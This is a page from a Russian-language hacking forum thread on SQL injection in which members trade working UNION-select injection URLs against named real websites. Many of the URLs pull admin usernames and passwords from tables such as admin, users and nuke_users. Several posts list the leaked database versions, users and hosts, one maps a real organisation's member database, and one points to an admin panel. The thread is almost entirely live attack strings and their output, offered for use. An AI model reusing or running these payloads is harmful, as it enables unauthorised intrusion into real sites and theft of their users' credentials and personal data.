SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    http://www.bworldonline.com/weekender/content.php?id=-3383+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
    http://www.teluguflavours.com/politics/viewnews.php?id=60&cat=politicsgossip+limit+0+union+select+1,2,3,4,5,6/*
    http://www.guuui.com/posting.php?id=-1978+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
    http://www.emarotta.com/article.php?ID=365)+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
     
  2. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    630
    Likes Received:
    485
    Reputations:
    176
    http://www.maximum.by/work.php?w=6+and+1=0+union+select+1,group_concat(column_name+separator+0x0a),3,4+from+information_schema.columns+where+table_name=0x776F726B5F636174+--+-
     
    11 people like this.
  3. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    Code:
    http://www.stargroup-bd.com/details-news.php?id=-1+union+select+1,username,password,4+from+admin+--+
    Code:
    http://www.fmdc.fr/agees/details-news.php?id=-25+union+select+1,2,3,4,5,6,7,8,9,10+/*+
    Code:
    http://www.training-market.com/product.php?id_product=-160+union+select+1,2,3,4,5,6,7,8+--+
    Code:
    http://www.toccataclassics.com/reviews.php?ID=-12+union+select+1,concat_ws(0x3a3a,ID,LoginName,SitePassword),3,4,5,6+from+loginpassword+--+
    Code:
    http://tformers.com/reviews.php?id=-693+union+select+1,2,concat_ws(0x3a3a,name,uname,email,pass),4,5,6,7,8,9,10,11,12+from+nuke_users+limit+1,1+/*+&op=showcontent
    Code:
    http://www.astronomyforbeginners.com/reviews/reviews.php?id=-46+union+select+1,2,3,4,5,6,7,8+--+
    Code:
    http://www.ausanthrop.net/resources/reviews.php?id=-7+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+/*+
    Code:
    http://www.greenbazaar.be/categories.php?id_cat=208+union+select+1,concat_ws(0x3a3a,id_administrator,login,password,status)+from+administrator+--+
    Code:
    http://www.ekoeki.be/categories.php?id_cat=208+union+select+1,concat_ws(0x3a3a,id_administrator,login,password,status)+from+administrator+--+
    Code:
    http://www.info-soft.ro/reviews.php?id_review=-67'+union+select+1,concat_Ws(0x3a3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin+limit+0,1+--+
    Code:
    http://www.muzikreviews.com/reviews.php?ID=-748'+union+select+1,2,concat_ws(0x3a3a,ID,UserName,Password,NeedPasswordChange,LastLogin,FailedLogins,AuthGroupID),4,5,6,7,8+from+auth_users+--+
    Code:
    http://www.demoshop.li/index.php?catid=316+uNiOn+sElEct+1,2,unhex(hex(database())),4,5,6+/*+
    Code:
    http://www.womenarts.org/network/reviews.php?id=-3057'+union+select+1,username,password,4+from+users+limit+0,1+--+
    Code:
    http://www.lpfiction.com/favorites.php?id=-3849+union+select+concat_ws(0x3a3a,username,password)+from+users+where+id=1171+--+
     
    2 people like this.
  4. [ac1D]

    [ac1D] Banned

    Joined:
    6 Dec 2009
    Messages:
    46
    Likes Received:
    27
    Reputations:
    0
    Code:
    http://fullmoonparty-thailand.net/bboard/show.php?id=-1+union+select+1,2,3,4,5,concat_ws%280x2a,password%29,7,8,9,10+from+fmpnet_faq.faq_admin--
    Code:
    http://www.paidselling.com/product_desc.php?id=-19999999999+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
     
    #11284 [ac1D], 28 Dec 2009
    Last edited: 28 Dec 2009
    5 people like this.
  5. Twin $park

    Twin $park Member

    Joined:
    15 Nov 2009
    Messages:
    9
    Likes Received:
    25
    Reputations:
    9
    PostgreSQL 8.1.13 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 3.4.1 (Mandrakelinux 10.1 3.4.1-4mdk) consultar_web
     
    4 people like this.
  6. GinTonic

    GinTonic New Member

    Joined:
    18 Dec 2009
    Messages:
    13
    Likes Received:
    3
    Reputations:
    1
    Code:
    http://www.suntenglobal.com/news/show.php?ID=112+and+1=0+union+select+1,2,version(),4,5,6--
    version - 4.1.20-log
    database - suntenglobal
    user - hook@localhost
     
    #11286 GinTonic, 28 Dec 2009
    Last edited by a moderator: 28 Dec 2009
    1 person likes this.
  7. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    241
    Likes Received:
    161
    Reputations:
    108
    lanstore.at

    Code:
    http://www.lanstore.at/index.php?module=4&site=rental&cat=2+union+select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,22222,33333,444444+limit+1,1+--+
    Code:
    5.0.84-log:puresystems@srv1.cyberservice.net:puresystems001
     
    2 people like this.
  8. GinTonic

    GinTonic New Member

    Joined:
    18 Dec 2009
    Messages:
    13
    Likes Received:
    3
    Reputations:
    1
    5.0.67:glassdecorru@78.108.81.71:glassdecorru_db

    5.1.28-rc:conpr_site@localhost:conpr_site
     
    #11288 GinTonic, 30 Dec 2009
    Last edited by a moderator: 30 Dec 2009
    1 person likes this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,594
    Likes Received:
    1,242
    Reputations:
    273
    http://maxidom.md/page.php?page=8001&id=-19+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6--


    Database Version: 4.1.22
    Database name: maxidom
    User name: maxidom@localhost
    Os: portbld-freebsd6.2
     
    2 people like this.
  10. RedX

    RedX Member

    Joined:
    12 Jun 2008
    Messages:
    41
    Likes Received:
    13
    Reputations:
    4
    Database Version: 5.0.22
    Database name: bicadmin_pdl
    User name: pdl_data@localhost
    Os: redhat-linux-gnu


    Database Version: 5.0.27
    Database name: econsult
    User name: admin@localhost
    Os: redhat-linux-gnu
     
    #11290 RedX, 30 Dec 2009
    Last edited: 30 Dec 2009
  11. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    147
    Likes Received:
    83
    Reputations:
    -4
    JEEMA Article Collection 1.x JOOMLA
     
    2 people like this.
  12. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    712
    Likes Received:
    727
    Reputations:
    948
    5.0.87-log:zverevcenter@localhost:zverevcenter
     
    _________________________
  13. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    99
    Likes Received:
    44
    Reputations:
    6
    ТИЦ: 10
    PR: 1
    Code:
    http://www.pornotune.ru/list.php?p2=7%20union%20select%20version%28%29%20--
    Version = 5.0.84-percona-highperf-b18-log
    User = a25727_1@94.103.90.60
    Database = a25727_1
     
    3 people like this.
  14. RedX

    RedX Member

    Joined:
    12 Jun 2008
    Messages:
    41
    Likes Received:
    13
    Reputations:
    4
    PHP:
    http://www.kutkin.ru/pechi.php?id=2-1+UNION+SELECT+1,CONCAT_WS%280x3a,Version%28%29,Database%28%29,User%28%29%29+LIMIT+1,1--+
    Database Version: 5.0.85-community
    Database name: ipdenis_kutkin
    User name: ipdenis_admin@localhost
    OS: pc-linux-gnu
     
    1 person likes this.
  15. Iron47

    Iron47 Member

    Joined:
    23 May 2009
    Messages:
    29
    Likes Received:
    11
    Reputations:
    -2
    Code:
    http://www.pnlteleorman.ro/stiri.php?id=2+and+1=2+union+all+select+1,group_concat(username,0x3a,password),4,5,6+from+auth_users--
     
    #11295 Iron47, 31 Dec 2009
    Last edited by a moderator: 31 Dec 2009
    2 people like this.
  16. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    712
    Likes Received:
    727
    Reputations:
    948
    новогодний подарочек:)
    кавычки не екранируються!!!
    mma@localhost:5.0.27:kcbs_mma:redhat-linux-gnu

    DB:
    Code:
    information_schema:kcbs_db:kcbs_mma
    kcbs_db:
    Code:
    AreaOfInterest:Calendar:ClassInstructor:CompetitionTeam:ContestEvent:ContestRep:Event:EventContact:EventTypes:FamilyMember:Location:MemberInterest:Membership:Organization:Person:Unit
    kcbs_mma:
    Code:
    AreaOfInterest:Calendar:ClassInstructor:CompetitionTeam:ContestEvent:ContestRep:Event:EventContact:EventTypes:FamilyMember:Location:MemberInterest:MemberSignups:Membership:Organization:Person:Unit:admins:categories:cbj:classes:eventDirectors:eventResults:greatamerican:linkcats:links:market_backyard:market_bbq:market_category:market_rate:market_verify:member_survey:news:photos:recipes:reps:rssNews:signups:states:teamoftheyear:teams:topten:totyteams:tourEvents:toy_dev:toyteams_dev:users:webmembers
    admins:
    Code:
    id:nameuser:wordpass
    users:
    Code:
    userId:email:password
    webmembers:
    Code:
    id:memberId:personId:nameuser:wordpass:lastLogin:email:firstname:lastname:city:state:country
    person:
    Code:
    Name:PersonId:Phone:AltPhone:Fax:Email:Address:City:State:Zip:Birthdate:Address2:FirstName:LastName
    organization:
    Code:
    OrganizationID:OrganizationName:OrgAbbreviation:City:Address:State:Zip:Phone:Fax:InvoiceNumber:MembershipFee:FamilyMembershipFee:ForeignMembershipFee:ForeignFamilyMembershipFee:RunningMemNumber:OrganizationID:OrganizationName:OrgAbbreviation:City:Address:State:Zip:Phone:Fax:InvoiceNumber:MembershipFee:FamilyMembershipFee:ForeignMembershipFee
    3360 пользователей!
    1690 пользователей!


    админ

    #2
    usdbadmin@localhost:4.0.27-log:us_webdata:pc-linux-gnu

    #3
    campisis@72.167.131.114:4.1.22-max-log:campisis:unknown-linux-gnu

    #4
    jbiddle@localhost:5.1.30-community:products:Win64

    #5
    globalwater@localhost:5.0.58:globalwater_site:redhat-linux-gnu
     
    _________________________
    #11296 Strilo4ka, 1 Jan 2010
    Last edited: 1 Jan 2010
    1 person likes this.
  17. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    138
    Likes Received:
    371
    Reputations:
    22
    Code:
    http://www.maps4heroes.com/heroes3/rating.php?id=101'+and+1=0+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3+--+
    srv11356_heroes@c5-w.ht-systems.ru,5.0.45-Max-log,srv11356_heroes,unknown-linux-gnu
     
    #11297 Jerri, 1 Jan 2010
    Last edited: 1 Jan 2010
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    2,191
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://it.bakinity.biz/smart.php?cat=-2+union+select+1,concat_ws(0x3a,user(),database(),version()),3&id=114
    Code:
    orik@zvm7.host.ru:orik:4.0.27-log
    PS:

    http://forum.antichat.ru/showpost.php?p=1755084
    Юзай антибоян!
    http://mailbrush.eu/antiboyan
     
    #11298 mailbrush, 1 Jan 2010
    Last edited: 1 Jan 2010
  19. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    Unihorizontes.br pr5
    Faculdade Novos Horizontes.
    Code:
    [COLOR=SlateGray]http://www.unihorizontes.br/main.php?id=-73'+union+select+null,null,null,null,null,concat_ws(char(32,124,32),version(),user(),database(),@@version_compile_os),null,null,null,null+--+[/COLOR]
    5.0.51a | nhadmin@192.168.20.87 | test | suse-linux-gnu


    лучший антибоян гугл
     
    1 person likes this.
  20. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.c-o-b.co.uk/page.php?ID=10+union+select+1,2,3,4,group_concat(0x0b,column_name),6+from+information_schema.columns+where+table_name=0x7573657273
    users::userID,name,email,password,cdate

    http://www.c-o-b.co.uk/page.php?ID=10+union+select+1,2,3,4,group_concat(0x0b,userID,0x3a,name,0x3a,email,0x3a,password),6+from+users

    MySQL 5.0.85-community

    http://www.c-o-b.co.uk/admin
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.